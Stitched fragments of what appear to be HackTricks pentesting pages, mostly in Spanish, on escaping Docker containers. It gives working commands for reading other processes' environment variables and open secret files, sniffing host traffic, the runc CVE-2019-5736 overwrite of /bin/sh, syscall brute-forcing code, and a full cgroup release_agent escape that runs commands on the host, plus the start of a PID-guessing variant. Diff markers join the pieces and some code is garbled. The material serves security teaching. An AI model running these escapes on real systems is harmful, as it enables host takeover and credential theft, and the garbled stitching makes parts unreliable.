for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
HOSTNAME=argocd-server-69678b4f65-6mmql
|
||||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
También puedes **acceder a los descriptores de archivo de otros procesos y leer sus archivos abiertos**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
...omitted for brevity...
|
||||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
|
||||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
||||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
También puedes **matar procesos y causar un DoS**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si de alguna manera tienes **acceso privilegiado sobre un proceso fuera del contenedor**, podrías ejecutar algo como `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` para **ejecutar una shell con las mismas restricciones ns** (con suerte ninguna) **que ese proceso.**
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
Si un contenedor se configura con el controlador de red del host de Docker (`--network=host`), la pila de red de ese contenedor no está aislada del host de Docker (el contenedor comparte el espacio de nombres de red del host) y el contenedor no recibe su propia dirección IP asignada. En otras palabras, el **contenedor enlaza todos los servicios directamente a la IP del host**. Además, el contenedor puede **interceptar TODO el tráfico de red que el host** está enviando y recibiendo en la interfaz compartida `tcpdump -i eth0`.
|
||||
|
||||
Por ejemplo, se puede utilizar esto para **espiar e incluso falsificar el tráfico** entre el host y la instancia de metadatos.
|
||||
|
||||
Como en los siguientes ejemplos:
|
||||
|
||||
* [Writeup: Cómo contactar con Google SRE: Accediendo a una shell en Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM permite la escalada de privilegios de root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
También se podrá acceder a **servicios de red enlazados a localhost** dentro del host o incluso acceder a los **permisos de metadatos del nodo** (que pueden ser diferentes a los que un contenedor puede acceder):
|
||||
|
||||
{% content-ref url="../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/" %}
|
||||
[broken-reference](../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### hostIPC
|
||||
```
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Si solo tienes `hostIPC=true`, es probable que no puedas hacer mucho. Si algún proceso en el host o cualquier proceso dentro de otro pod está utilizando los **mecanismos de comunicación interprocesal** del host (memoria compartida, matrices de semáforos, colas de mensajes, etc.), podrás leer/escribir en esos mismos mecanismos. El primer lugar donde debes buscar es `/dev/shm`, ya que se comparte entre cualquier pod con `hostIPC=true` y el host. También debes revisar los demás mecanismos IPC con `ipcs`.
|
||||
|
||||
* **Inspeccionar /dev/shm** - Busca cualquier archivo en esta ubicación de memoria compartida: `ls -la /dev/shm`
|
||||
* **Inspeccionar las instalaciones IPC existentes** - Puedes verificar si se están utilizando instalaciones IPC con `/usr/bin/ipcs`. Verifícalo con: `ipcs -a`
|
||||
|
||||
### Recuperar capacidades
|
||||
|
||||
Si la llamada al sistema **`unshare`** no está prohibida, puedes recuperar todas las capacidades ejecutando:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
cat /proc/self/status | grep CapEff
|
||||
```
|
||||
### Abuso de namespace de usuario a través de symlink
|
||||
|
||||
La segunda técnica explicada en el post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica cómo se puede abusar de los bind mounts con los namespaces de usuario, para afectar archivos dentro del host (en ese caso específico, eliminar archivos).
|
||||
|
||||
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## CVEs
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
En caso de que pueda ejecutar `docker exec` como root (probablemente con sudo), intente escalar privilegios escapando de un contenedor abusando de CVE-2019-5736 (exploit [aquí](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Esta técnica básicamente **sobrescribirá** el binario _**/bin/sh**_ del **host** **desde un contenedor**, por lo que cualquier persona que ejecute docker exec puede activar la carga útil.
|
||||
|
||||
Cambie la carga útil en consecuencia y construya el main.go con `go build main.go`. El binario resultante debe colocarse en el contenedor de Docker para su ejecución.\
|
||||
Al ejecutarlo, tan pronto como muestre `[+] Overwritten /bin/sh successfully`, debe ejecutar lo siguiente desde la máquina host:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
||||
Esto activará la carga útil que está presente en el archivo main.go.
|
||||
|
||||
Para obtener más información: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
Existen otras CVE a las que el contenedor puede ser vulnerable, puede encontrar una lista en [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||||
{% endhint %}
|
||||
|
||||
## Docker Custom Escape
|
||||
|
||||
### Superficie de escape de Docker
|
||||
|
||||
* **Namespaces:** El proceso debe estar **completamente separado de otros procesos** a través de namespaces, por lo que no podemos escapar interactuando con otros procs debido a los namespaces (por defecto no se puede comunicar a través de IPC, sockets unix, servicios de red, D-Bus, `/proc` de otros procesos).
|
||||
* **Usuario root**: Por defecto, el usuario que ejecuta el proceso es el usuario root (sin embargo, sus privilegios están limitados).
|
||||
* **Capacidades**: Docker deja las siguientes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Estos son los syscalls que el **usuario root no podrá llamar** (debido a la falta de capacidades + Seccomp). Los otros syscalls podrían ser utilizados para intentar escapar.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
```yaml
|
||||
0x067 -- syslog
|
||||
0x070 -- setsid
|
||||
0x09b -- pivot_root
|
||||
0x0a3 -- acct
|
||||
0x0a4 -- settimeofday
|
||||
0x0a7 -- swapon
|
||||
0x0a8 -- swapoff
|
||||
0x0aa -- sethostname
|
||||
0x0ab -- setdomainname
|
||||
0x0af -- init_module
|
||||
0x0b0 -- delete_module
|
||||
0x0d4 -- lookup_dcookie
|
||||
0x0f6 -- kexec_load
|
||||
0x12c -- fanotify_init
|
||||
0x130 -- open_by_handle_at
|
||||
0x139 -- finit_module
|
||||
0x140 -- kexec_file_load
|
||||
0x141 -- bpf
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Llamadas al sistema arm64" %}
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
0x069 -- init_module
|
||||
0x06a -- delete_module
|
||||
0x074 -- syslog
|
||||
0x09d -- setsid
|
||||
0x0a1 -- sethostname
|
||||
0x0a2 -- setdomainname
|
||||
0x0aa -- settimeofday
|
||||
0x0e0 -- swapon
|
||||
0x0e1 -- swapoff
|
||||
0x106 -- fanotify_init
|
||||
0x109 -- open_by_handle_at
|
||||
0x111 -- finit_module
|
||||
0x118 -- bpf
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/user.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define SHELL "/bin/sh"
|
||||
|
||||
void usage(char *prog_name) {
|
||||
printf("Usage: %s <pid>\n", prog_name);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
pid_t pid;
|
||||
struct user_regs_struct regs;
|
||||
long syscall, arg1, arg2, arg3, arg4, arg5, arg6;
|
||||
|
||||
if (argc != 2) {
|
||||
usage(argv[0]);
|
||||
}
|
||||
|
||||
pid = atoi(argv[1]);
|
||||
|
||||
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
|
||||
perror("ptrace");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (waitpid(pid, NULL, 0) < 0) {
|
||||
perror("waitpid");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) < 0) {
|
||||
perror("ptrace");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
syscall = regs.orig_rax;
|
||||
arg1 = regs.rdi;
|
||||
arg2 = regs.rsi;
|
||||
arg3 = regs.rdx;
|
||||
arg4 = regs.r10;
|
||||
arg5 = regs.r8;
|
||||
arg6 = regs.r9;
|
||||
|
||||
printf("syscall: %ld\n", syscall);
|
||||
printf("arg1: %ld\n", arg1);
|
||||
printf("arg2: %ld\n", arg2);
|
||||
printf("arg3: %ld\n", arg3);
|
||||
printf("arg4: %ld\n", arg4);
|
||||
printf("arg5: %ld\n", arg5);
|
||||
printf("arg6: %ld\n", arg6);
|
||||
|
||||
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
|
||||
perror("ptrace");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (syscall == SYS_execve && arg1 == (long) SHELL) {
|
||||
printf("execve called with /bin/sh as argument\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Este programa utiliza la función `ptrace` para adjuntarse a un proceso y obtener información sobre las llamadas al sistema que realiza. Toma un PID como argumento de entrada y muestra los argumentos de la última llamada al sistema realizada por el proceso. Si la llamada al sistema es `execve` y el primer argumento es `/bin/sh`, el programa muestra un mensaje indicando que se ha llamado a `execve` con `/bin/sh` como argumento.
|
||||
|
||||
Para compilar el programa, se puede utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
gcc -o syscall_bf syscall_bf.c
|
||||
```
|
||||
|
||||
Para utilizar el programa, se debe ejecutar con el PID del proceso que se desea analizar como argumento de entrada:
|
||||
|
||||
```
|
||||
./syscall_bf <pid>
|
||||
```
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
for(int i = 0; i < 333; ++i)
|
||||
{
|
||||
if(i == SYS_rt_sigreturn) continue;
|
||||
if(i == SYS_select) continue;
|
||||
if(i == SYS_pause) continue;
|
||||
if(i == SYS_exit_group) continue;
|
||||
if(i == SYS_exit) continue;
|
||||
if(i == SYS_clone) continue;
|
||||
if(i == SYS_fork) continue;
|
||||
if(i == SYS_vfork) continue;
|
||||
if(i == SYS_pselect6) continue;
|
||||
if(i == SYS_ppoll) continue;
|
||||
if(i == SYS_seccomp) continue;
|
||||
if(i == SYS_vhangup) continue;
|
||||
if(i == SYS_reboot) continue;
|
||||
if(i == SYS_shutdown) continue;
|
||||
if(i == SYS_msgrcv) continue;
|
||||
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
|
||||
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
|
||||
printf("Error\n");
|
||||
else
|
||||
printf("OK\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
````
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Container Breakout through Usermode helper Template
|
||||
|
||||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
|
||||
|
||||
* Find the **path of the containers filesystem** inside the host
|
||||
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
|
||||
* Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
|
||||
* You should be able to **execute the trigger from inside the host**
|
||||
* You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||||
* Have **enough capabilities and disabled protections** to be able to abuse that functionality
|
||||
* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||||
|
||||
## References
|
||||
|
||||
* [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB)
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,86 @@
|
|||
# Docker escape de cgroups mediante release_agent
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### Desglose del concepto
|
||||
|
||||
Para activar esta vulnerabilidad necesitamos un cgroup donde podamos crear un archivo `release_agent` y activar la invocación de `release_agent` matando todos los procesos en el cgroup. La forma más sencilla de lograrlo es montar un controlador de cgroup y crear un cgroup hijo.
|
||||
|
||||
Para ello, creamos un directorio `/tmp/cgrp`, montamos el controlador de cgroup [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) y creamos un cgroup hijo (llamado "x" para este ejemplo). Aunque no se ha probado con todos los controladores de cgroup, esta técnica debería funcionar con la mayoría de ellos.
|
||||
|
||||
Si estás siguiendo los pasos y obtienes **`mount: /tmp/cgrp: special device cgroup does not exist`**, es porque tu configuración no tiene el controlador de cgroup RDMA. **Cambia `rdma` a `memory` para solucionarlo**. Estamos usando RDMA porque el PoC original fue diseñado para funcionar solo con él.
|
||||
|
||||
Ten en cuenta que los controladores de cgroup son recursos globales que se pueden montar varias veces con diferentes permisos y los cambios realizados en un montaje se aplicarán a otro.
|
||||
|
||||
A continuación, podemos ver la creación del cgroup hijo "x" y su listado de directorios.
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
root@b11cf9eab4fd:/# ls /tmp/cgrp/
|
||||
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
|
||||
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
|
||||
cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
|
||||
```
|
||||
A continuación, **habilitamos las notificaciones de cgroup** en la liberación del cgroup "x" escribiendo un 1 en su archivo `notify_on_release`. También establecemos el agente de liberación del cgroup RDMA para ejecutar un script `/cmd` - que crearemos más tarde en el contenedor - escribiendo la ruta del script `/cmd` en el host en el archivo `release_agent`. Para hacerlo, obtendremos la ruta del contenedor en el host desde el archivo `/etc/mtab`.
|
||||
|
||||
Los archivos que agregamos o modificamos en el contenedor están presentes en el host, y es posible modificarlos desde ambos mundos: la ruta en el contenedor y su ruta en el host.
|
||||
|
||||
Estas operaciones se pueden ver a continuación:
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
Ten en cuenta la ruta del script `/cmd`, que vamos a crear en el host:
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
|
||||
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
|
||||
```
|
||||
Ahora, creamos el script `/cmd` de tal manera que ejecute el comando `ps aux` y guarde su salida en `/output` en el contenedor especificando la ruta completa del archivo de salida en el host. Al final, también imprimimos el contenido del script `/cmd` para ver su contenido:
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
|
||||
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
|
||||
root@b11cf9eab4fd:/# chmod a+x /cmd
|
||||
root@b11cf9eab4fd:/# cat /cmd
|
||||
#!/bin/sh
|
||||
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
|
||||
```
|
||||
Finalmente, podemos ejecutar el ataque generando un proceso que finaliza inmediatamente dentro del cgroup hijo "x". Al crear un proceso `/bin/sh` y escribir su PID en el archivo `cgroup.procs` en el directorio del cgroup hijo "x", el script en el host se ejecutará después de que `/bin/sh` salga. La salida de `ps aux` realizada en el host se guarda en el archivo `/output` dentro del contenedor:
|
||||
```shell-session
|
||||
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
root@b11cf9eab4fd:/# head /output
|
||||
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
|
||||
root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
|
||||
root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
|
||||
root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
|
||||
root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
|
||||
root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
|
||||
root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
|
||||
root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
|
||||
root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
|
||||
root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
|
||||
```
|
||||
### Referencias
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,204 @@
|
|||
# Introducción
|
||||
|
||||
Los PoC anteriores funcionan bien cuando el contenedor está configurado con un controlador de almacenamiento que expone la **ruta completa del punto de montaje del sistema de archivos del host**, por ejemplo `overlayfs`, sin embargo, hay configuraciones que **no revelan claramente el punto de montaje del sistema de archivos del host**.
|
||||
|
||||
En este PoC, en lugar de usar la ruta donde se encuentra el contenedor dentro del sistema de archivos del host, vamos a descubrir un PID de contenedor dentro del host.
|
||||
|
||||
## Ejemplos de contenedores que no exponen la ubicación de la ruta dentro del host
|
||||
|
||||
### Kata Containers
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
||||
```
|
||||
Por defecto, [Kata Containers](https://katacontainers.io) monta el sistema de archivos raíz de un contenedor sobre `9pfs`. Esto no revela información sobre la ubicación del sistema de archivos del contenedor en la Máquina Virtual de Kata Containers.
|
||||
|
||||
### Device Mapper
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
||||
```
|
||||
Vi un contenedor con este montaje raíz en un entorno en vivo, creo que el contenedor se estaba ejecutando con una configuración específica del controlador de almacenamiento `devicemapper`, pero hasta ahora no he podido replicar este comportamiento en un entorno de prueba.
|
||||
|
||||
# PoC
|
||||
|
||||
La única información clave requerida es la **ruta completa, relativa al host del contenedor, de un archivo para ejecutar dentro del contenedor**. Sin poder discernir esto desde los puntos de montaje dentro del contenedor, debemos buscar en otro lugar.
|
||||
|
||||
## /proc/\<pid>/root
|
||||
|
||||
El pseudo-sistema de archivos `/proc` de Linux expone las estructuras de datos del proceso del kernel para todos los procesos que se ejecutan en un sistema, incluidos aquellos que se ejecutan en diferentes espacios de nombres, por ejemplo, dentro de un contenedor. Esto se puede mostrar ejecutando un comando en un contenedor y accediendo al directorio `/proc` del proceso en el host: contenedor.
|
||||
```bash
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ ps -eaf | grep sleep
|
||||
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
|
||||
root@host:~$ ls -la /proc/`pidof sleep`
|
||||
total 0
|
||||
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
|
||||
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
|
||||
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
|
||||
-r-------- 1 root root 0 Nov 19 10:04 auxv
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
|
||||
--w------- 1 root root 0 Nov 19 10:04 clear_refs
|
||||
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
|
||||
...
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
|
||||
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
||||
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
||||
...
|
||||
```
|
||||
Como un comentario aparte, la estructura de datos `/proc/<pid>/root` es una que me confundió por mucho tiempo, nunca pude entender por qué tener un enlace simbólico a `/` era útil, hasta que leí la definición real en las páginas del manual:
|
||||
|
||||
> /proc/\[pid]/root
|
||||
>
|
||||
> UNIX y Linux soportan la idea de un root del sistema de archivos por proceso, establecido por la llamada al sistema chroot(2). Este archivo es un enlace simbólico que apunta al directorio raíz del proceso, y se comporta de la misma manera que exe y fd/\*.
|
||||
>
|
||||
> Sin embargo, tenga en cuenta que este archivo no es simplemente un enlace simbólico. Proporciona la misma vista del sistema de archivos (incluyendo los espacios de nombres y el conjunto de montajes por proceso) que el propio proceso.
|
||||
|
||||
El enlace simbólico **`/proc/<pid>/root` se puede utilizar como una ruta relativa del host a cualquier archivo dentro de un contenedor**:
|
||||
```bash
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
||||
```bash
|
||||
root@host:~$ cat /proc/`pidof sleep`/root/findme
|
||||
findme
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
**Esto cambia el requisito para el ataque de conocer la ruta completa, relativa al host del contenedor, de un archivo dentro del contenedor, a conocer el pid de cualquier proceso que se ejecute en el contenedor.**
|
||||
{% endhint %}
|
||||
|
||||
## Búsqueda de Pid <a href="#pid-bashing" id="pid-bashing"></a>
|
||||
|
||||
Esto es en realidad la parte fácil, los ids de proceso en Linux son numéricos y asignados secuencialmente. El proceso `init` se le asigna el pid `1` y todos los procesos posteriores se les asignan ids incrementales. Para identificar el **pid del proceso host de un proceso dentro de un contenedor, se puede utilizar una búsqueda incremental de fuerza bruta**:
|
||||
```
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
